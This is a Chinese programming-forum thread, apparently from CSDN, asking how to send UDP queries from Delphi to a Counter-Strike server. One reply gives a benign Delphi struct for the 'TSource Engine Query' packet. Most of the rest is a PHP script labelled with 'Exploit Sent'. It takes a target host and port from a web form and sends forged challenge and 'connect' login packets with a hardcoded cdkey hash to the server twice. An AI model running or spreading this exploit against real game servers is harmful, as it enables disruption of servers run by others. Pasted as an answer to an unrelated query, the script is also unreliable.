delphi怎么发送UDP十进制数据?
我是想发送给CS服务器,然后它就会返回服务器的人数和地图等信息,
但是现在没头绪啊。请各位老大指点指点~
我是想发送给CS服务器,然后它就会返回服务器的人数和地图等信息,
但是现在没头绪啊。请各位老大指点指点~
解决方案 »
- 【大家好,我有几个关于创业的问题,希望有创业经验,或是现在在开公司的朋友们给一些建议?】
- 关于Thread同步的问题!
- 问了两次都没有结果,再次增加到600分。关于jpg文件上加文字
- ■■■■■使用Servers页中的OutlookApplication时报告“类没有注册”怎么回事?
- 最简单的问题,马上就给分
- 在Delphi6注册的OCX,不想要了怎么去掉?
- 散100分,求一本好的delphi书!!!!!!!
- 我知道DELPHI中有一个SelectDirectory可以打开目录选取对话框,但是是英文的。我知道还有一个中文的,请问是那个过程?
- * Delphi控件开发的问题,为什么控件的实例的event代码没有被执行? *
- 求一查询语句
- 在delphi中怎样通过程序控制连接设备的自动开关机
- 输入法问题
如下:
type
TCSQueryPackage= packed record //size=25
Head:Dword; //一般设置为$FFFFFFFF /len=4
Data:array [0..20] of Char; //一般设置为:TSource Engine Query最后为#0结束 len=21
end;使用直接:
Var
CSQuery:TCSQueryPackage;
begin
CSQuery.Head:= $FFFFFFFF;
StrCopy(@CSQuery.Data[0],'TSource Engine Query');
UDP.Send(@CSQuery,25);
....
end;
接收到的数据格式稍后贴上.
{
$packet = pack("H*","FFFFFFFF");
$packet .= "TSource Engine Query";
$packet .= pack("H*","00");
return $packet;
} function CHALLENGE_PACKET()
{
$packet = pack("H*","FFFFFFFF");
$packet .= "getchallenge valve";
$packet .= pack("H*","00");
return $packet;
} function LOGIN_PACKET_4()
{
global $cookie;
global $password;
$packet = pack("H*","FFFFFFFF");
$packet .= "connect 47 ";
$packet .= $cookie.' "';
$packet .= '\prot\4\unique\-1\raw\valve\cdkey\d506d189cf551620a70277a3d2c55bb2" "';
$packet .= '\_cl_autowepswitch\1\bottomcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\mod';
$packet .= 'el\gordon\name\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
$packet .= 'word\'.$password;
$packet .= pack("H*","220A0000EE02");
return $packet;
} function LOGIN_PACKET_2()
{
global $cookie;
global $password;
$packet = pack("H*","FFFFFFFF");
$packet .= "connect 47 ";
$packet .= $cookie.' "';
$packet .= '\prot\2\raw\d506d189cf551620a70277a3d2c55bb2" "\_cl_autowepswitch\1\bott';
$packet .= 'omcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\model\gordon\nam';
$packet .= 'e\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
$packet .= 'word\'.$password;
$packet .= pack("H*","22");
return $packet;
} function dowork($host,$port,$password,$auth)
{
global $password;
global $cookie;
# connecting to target host
$fsock = fsockopen("udp://".$host,(int) $port,$errnum,$errstr,2);
if (!$fsock) die ($errstr);
else
{
# sending hello packet
fwrite ($fsock,HELLO_PACKET());
fread ($fsock,100);
# sending chalennge packet
fwrite ($fsock,CHALLENGE_PACKET());
# recieving cookies
$resp = fread($fsock,100);
# grab cookies from packet
$cookie = substr($resp,strpos($resp,"A00000000")+10);
$cookie = substr($cookie,0,strpos($cookie," "));
# sending login packet
if (!$auth) fwrite ( $fsock,LOGIN_PACKET_4());else fwrite ( $fsock,LOGIN_PACKET_2());
$resp = fread($fsock,100);
}
} IF (isset($_POST['host']) && isset($_POST['port']))
{
IF (empty($_POST['pass'])) $password = "123";
else $password = $_POST['pass'];
$fserver = $_POST['host'];
$fport = $_POST['port'];
if (isset($_POST['auth'])) $fauth = true;else $fauth=false;
# we have to connect 2 times
$result = dowork($fserver,$fport,$password,$fauth);
$result = dowork($fserver,$fport,$password,$fauth);
# parsing result
echo "Exploit Sent";
}